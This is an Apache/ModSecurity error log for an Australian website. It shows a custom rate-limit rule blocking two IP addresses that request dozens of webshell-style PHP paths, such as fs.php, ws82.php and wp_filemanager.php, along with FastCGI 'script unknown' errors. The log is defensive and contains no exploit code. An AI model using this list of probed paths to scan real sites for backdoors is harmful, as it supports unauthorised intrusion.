[Wed Apr 15 19:12:24.590171 2026] [:error] [pid 37370:tid 37391] [client 51.120.68.159:42783] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aboutc.php"] [unique_id "ad9ymHg-gnM2Ga0cGAAAjQAAARM"]
[Wed Apr 15 19:12:25.121880 2026] [:error] [pid 31053:tid 31071] [client 51.120.68.159:22776] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad9ymRcEkLCmvF0fjDeosAAAAI8"]
[Wed Apr 15 19:12:25.648824 2026] [:error] [pid 31053:tid 31058] [client 51.120.68.159:15099] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad9ymRcEkLCmvF0fjDeosgAAAII"]
[Wed Apr 15 19:12:26.205807 2026] [:error] [pid 37370:tid 37379] [client 51.120.68.159:14692] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad9ymng-gnM2Ga0cGAAAkAAAAQc"]
[Wed Apr 15 19:12:26.725978 2026] [:error] [pid 31053:tid 31076] [client 51.120.68.159:22721] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad9ymhcEkLCmvF0fjDeotQAAAJQ"]
[Wed Apr 15 19:12:27.373325 2026] [:error] [pid 30956:tid 30979] [client 51.120.68.159:19059] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad9ym0BGUpjaWntNYq1e-gAAABM"]
[Wed Apr 15 19:12:27.936019 2026] [:error] [pid 30957:tid 31009] [client 51.120.68.159:20844] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad9ym35gwVEVXHfVSipuOwAAAFQ"]
[Wed Apr 15 19:12:28.526844 2026] [:error] [pid 30956:tid 30971] [client 51.120.68.159:42792] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad9ynEBGUpjaWntNYq1e_gAAAAs"]
[Wed Apr 15 19:12:29.189761 2026] [:error] [pid 37370:tid 37384] [client 51.120.68.159:14693] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad9ynXg-gnM2Ga0cGAAAkQAAAQw"]
[Wed Apr 15 19:12:29.707030 2026] [:error] [pid 37370:tid 37395] [client 51.120.68.159:42764] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad9ynXg-gnM2Ga0cGAAAlgAAARc"]
[Wed Apr 15 19:12:30.239080 2026] [:error] [pid 37370:tid 37396] [client 51.120.68.159:14701] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad9ynng-gnM2Ga0cGAAAmAAAARg"]
[Wed Apr 15 19:12:30.771608 2026] [:error] [pid 37370:tid 37389] [client 51.120.68.159:10403] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad9ynng-gnM2Ga0cGAAAmQAAARE"]
[Wed Apr 15 19:12:31.293440 2026] [:error] [pid 37370:tid 37391] [client 51.120.68.159:42791] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad9yn3g-gnM2Ga0cGAAAnQAAARM"]
[Wed Apr 15 19:12:31.867571 2026] [:error] [pid 31053:tid 31072] [client 51.120.68.159:35752] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad9ynxcEkLCmvF0fjDeougAAAJA"]
[Wed Apr 15 19:12:32.477656 2026] [:error] [pid 31053:tid 31066] [client 51.120.68.159:21955] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad9yoBcEkLCmvF0fjDeouwAAAIo"]
[Wed Apr 15 19:12:33.027250 2026] [:error] [pid 31053:tid 31064] [client 51.120.68.159:22015] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad9yoRcEkLCmvF0fjDeovgAAAIg"]
[Wed Apr 15 19:12:33.604939 2026] [:error] [pid 31053:tid 31056] [client 51.120.68.159:35713] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad9yoRcEkLCmvF0fjDeowQAAAIA"]
[Wed Apr 15 19:12:34.168917 2026] [:error] [pid 30958:tid 31033] [client 51.120.68.159:19009] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad9yoseG3wSKTO7NWFGK_QAAANE"]
[Wed Apr 15 19:12:34.695801 2026] [:error] [pid 30957:tid 31013] [client 51.120.68.159:5446] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad9yon5gwVEVXHfVSipuQAAAAFg"]
[Wed Apr 15 19:12:35.383846 2026] [:error] [pid 30957:tid 30998] [client 51.120.68.159:19020] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad9yo35gwVEVXHfVSipuQgAAAEk"]
[Wed Apr 15 19:12:36.030971 2026] [:error] [pid 30957:tid 30999] [client 51.120.68.159:14334] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad9ypH5gwVEVXHfVSipuQwAAAEo"]
[Wed Apr 15 19:12:36.651863 2026] [:error] [pid 30957:tid 31006] [client 51.120.68.159:51929] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "ad9ypH5gwVEVXHfVSipuRgAAAFE"]
[Wed Apr 15 19:12:37.391106 2026] [:error] [pid 37370:tid 37393] [client 51.120.68.159:5487] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "ad9ypXg-gnM2Ga0cGAAAowAAARU"]
[Wed Apr 15 19:12:38.177388 2026] [:error] [pid 30957:tid 31007] [client 51.120.68.159:11146] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "ad9ypn5gwVEVXHfVSipuSwAAAFI"]
[Wed Apr 15 19:12:39.134176 2026] [:error] [pid 30957:tid 31002] [client 51.120.68.159:34339] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "ad9yp35gwVEVXHfVSipuTwAAAE0"]
[Wed Apr 15 19:12:40.044581 2026] [:error] [pid 30957:tid 30989] [client 51.120.68.159:20803] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxx.php"] [unique_id "ad9yqH5gwVEVXHfVSipuUQAAAEA"]
[Wed Apr 15 19:12:41.067339 2026] [:error] [pid 31053:tid 31079] [client 51.120.68.159:11191] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxx.php"] [unique_id "ad9yqRcEkLCmvF0fjDeoyAAAAJc"]
[Wed Apr 15 19:12:41.876340 2026] [:error] [pid 30958:tid 31023] [client 51.120.68.159:16232] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxx.php"] [unique_id "ad9yqceG3wSKTO7NWFGLBQAAAMc"]
[Wed Apr 15 19:12:42.910426 2026] [:error] [pid 30957:tid 31011] [client 51.120.68.159:10420] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xxx.php"] [unique_id "ad9yqn5gwVEVXHfVSipuWQAAAFY"]
[Wed Apr 15 19:12:43.721994 2026] [:error] [pid 31053:tid 31065] [client 51.120.68.159:10048] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wen.php"] [unique_id "ad9yqxcEkLCmvF0fjDeoygAAAIk"]
[Wed Apr 15 19:12:44.436040 2026] [:error] [pid 37370:tid 37395] [client 51.120.68.159:13446] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wen.php"] [unique_id "ad9yrHg-gnM2Ga0cGAAAqAAAARc"]
[Wed Apr 15 19:12:45.245310 2026] [:error] [pid 37370:tid 37372] [client 51.120.68.159:39741] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wen.php"] [unique_id "ad9yrXg-gnM2Ga0cGAAAqwAAAQA"]
[Wed Apr 15 19:12:45.806584 2026] [:error] [pid 37370:tid 37381] [client 51.120.68.159:11198] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wen.php"] [unique_id "ad9yrXg-gnM2Ga0cGAAArgAAAQk"]
[Wed Apr 15 19:12:46.438040 2026] [:error] [pid 37370:tid 37392] [client 51.120.68.159:43806] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnm.php"] [unique_id "ad9yrng-gnM2Ga0cGAAAsAAAARQ"]
[Wed Apr 15 19:12:47.020920 2026] [:error] [pid 31053:tid 31061] [client 51.120.68.159:6636] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnm.php"] [unique_id "ad9yrxcEkLCmvF0fjDeo0QAAAIU"]
[Wed Apr 15 19:12:47.781528 2026] [:error] [pid 30956:tid 30984] [client 51.120.68.159:39735] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnm.php"] [unique_id "ad9yr0BGUpjaWntNYq1fBgAAABg"]
[Wed Apr 15 19:12:48.387437 2026] [:error] [pid 30956:tid 30977] [client 51.120.68.159:8557] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bnm.php"] [unique_id "ad9ysEBGUpjaWntNYq1fCAAAABE"]
[Wed Apr 15 19:12:49.060250 2026] [:error] [pid 30958:tid 31039] [client 51.120.68.159:43824] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad9ysceG3wSKTO7NWFGLDAAAANc"]
[Wed Apr 15 19:12:49.666682 2026] [:error] [pid 30956:tid 30979] [client 51.120.68.159:20813] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad9ysUBGUpjaWntNYq1fCQAAABM"]
[Wed Apr 15 19:12:50.368131 2026] [:error] [pid 31053:tid 31057] [client 51.120.68.159:26387] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad9yshcEkLCmvF0fjDeo2wAAAIE"]
[Wed Apr 15 19:12:50.925296 2026] [:error] [pid 31053:tid 31065] [client 51.120.68.159:26384] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ad9yshcEkLCmvF0fjDeo3QAAAIk"]
[Wed Apr 15 19:12:51.473776 2026] [:error] [pid 37370:tid 37376] [client 51.120.68.159:10375] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad9ys3g-gnM2Ga0cGAAAuQAAAQQ"]
[Wed Apr 15 19:12:52.015306 2026] [:error] [pid 37370:tid 37392] [client 51.120.68.159:19046] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad9ytHg-gnM2Ga0cGAAAwAAAARQ"]
[Wed Apr 15 19:12:52.634791 2026] [:error] [pid 37370:tid 37373] [client 51.120.68.159:5482] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad9ytHg-gnM2Ga0cGAAAxAAAAQE"]
[Wed Apr 15 19:12:53.184085 2026] [:error] [pid 31053:tid 31066] [client 51.120.68.159:11140] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byypas.php"] [unique_id "ad9ytRcEkLCmvF0fjDeo4AAAAIo"]
[Wed Apr 15 19:12:53.577542 2026] [proxy_fcgi:error] [pid 37370:tid 37372] [client 20.215.250.56:12367] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:12:53.761852 2026] [:error] [pid 30956:tid 30971] [client 51.120.68.159:35738] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad9ytUBGUpjaWntNYq1fDgAAAAs"]
[Wed Apr 15 19:12:53.837182 2026] [proxy_fcgi:error] [pid 37370:tid 37378] [client 20.215.250.56:12367] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:12:54.096572 2026] [proxy_fcgi:error] [pid 37370:tid 37375] [client 20.215.250.56:12367] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:12:54.338386 2026] [:error] [pid 30957:tid 30998] [client 51.120.68.159:26377] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad9ytn5gwVEVXHfVSipuZgAAAEk"]
[Wed Apr 15 19:12:54.449411 2026] [proxy_fcgi:error] [pid 37370:tid 37380] [client 20.215.250.56:12367] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:12:54.779923 2026] [proxy_fcgi:error] [pid 37370:tid 37393] [client 20.215.250.56:12367] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:12:54.876346 2026] [:error] [pid 30958:tid 31032] [client 51.120.68.159:43797] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad9ytseG3wSKTO7NWFGLFQAAANA"]
[Wed Apr 15 19:12:55.380130 2026] [proxy_fcgi:error] [pid 37370:tid 37391] [client 20.215.250.56:12367] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:12:55.397076 2026] [:error] [pid 37370:tid 37383] [client 51.120.68.159:10090] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "ad9yt3g-gnM2Ga0cGAAA2AAAAQs"]
[Wed Apr 15 19:12:55.639173 2026] [proxy_fcgi:error] [pid 37370:tid 37396] [client 20.215.250.56:12367] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:12:55.934148 2026] [:error] [pid 30957:tid 30994] [client 51.120.68.159:17284] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad9yt35gwVEVXHfVSipuaQAAAEU"]
[Wed Apr 15 19:12:55.935347 2026] [proxy_fcgi:error] [pid 37370:tid 37372] [client 20.215.250.56:12367] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:12:56.227116 2026] [proxy_fcgi:error] [pid 37370:tid 37381] [client 20.215.250.56:12367] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:12:56.484266 2026] [:error] [pid 31053:tid 31064] [client 51.120.68.159:42787] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad9yuBcEkLCmvF0fjDeo5AAAAIg"]
[Wed Apr 15 19:12:56.518356 2026] [:error] [pid 37370:tid 37375] [client 20.215.250.56:12367] [client 20.215.250.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/t.php"] [unique_id "ad9yuHg-gnM2Ga0cGAAA4AAAAQM"]
[Wed Apr 15 19:12:57.258079 2026] [:error] [pid 30956:tid 30966] [client 51.120.68.159:20825] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "ad9yuUBGUpjaWntNYq1fEgAAAAY"]
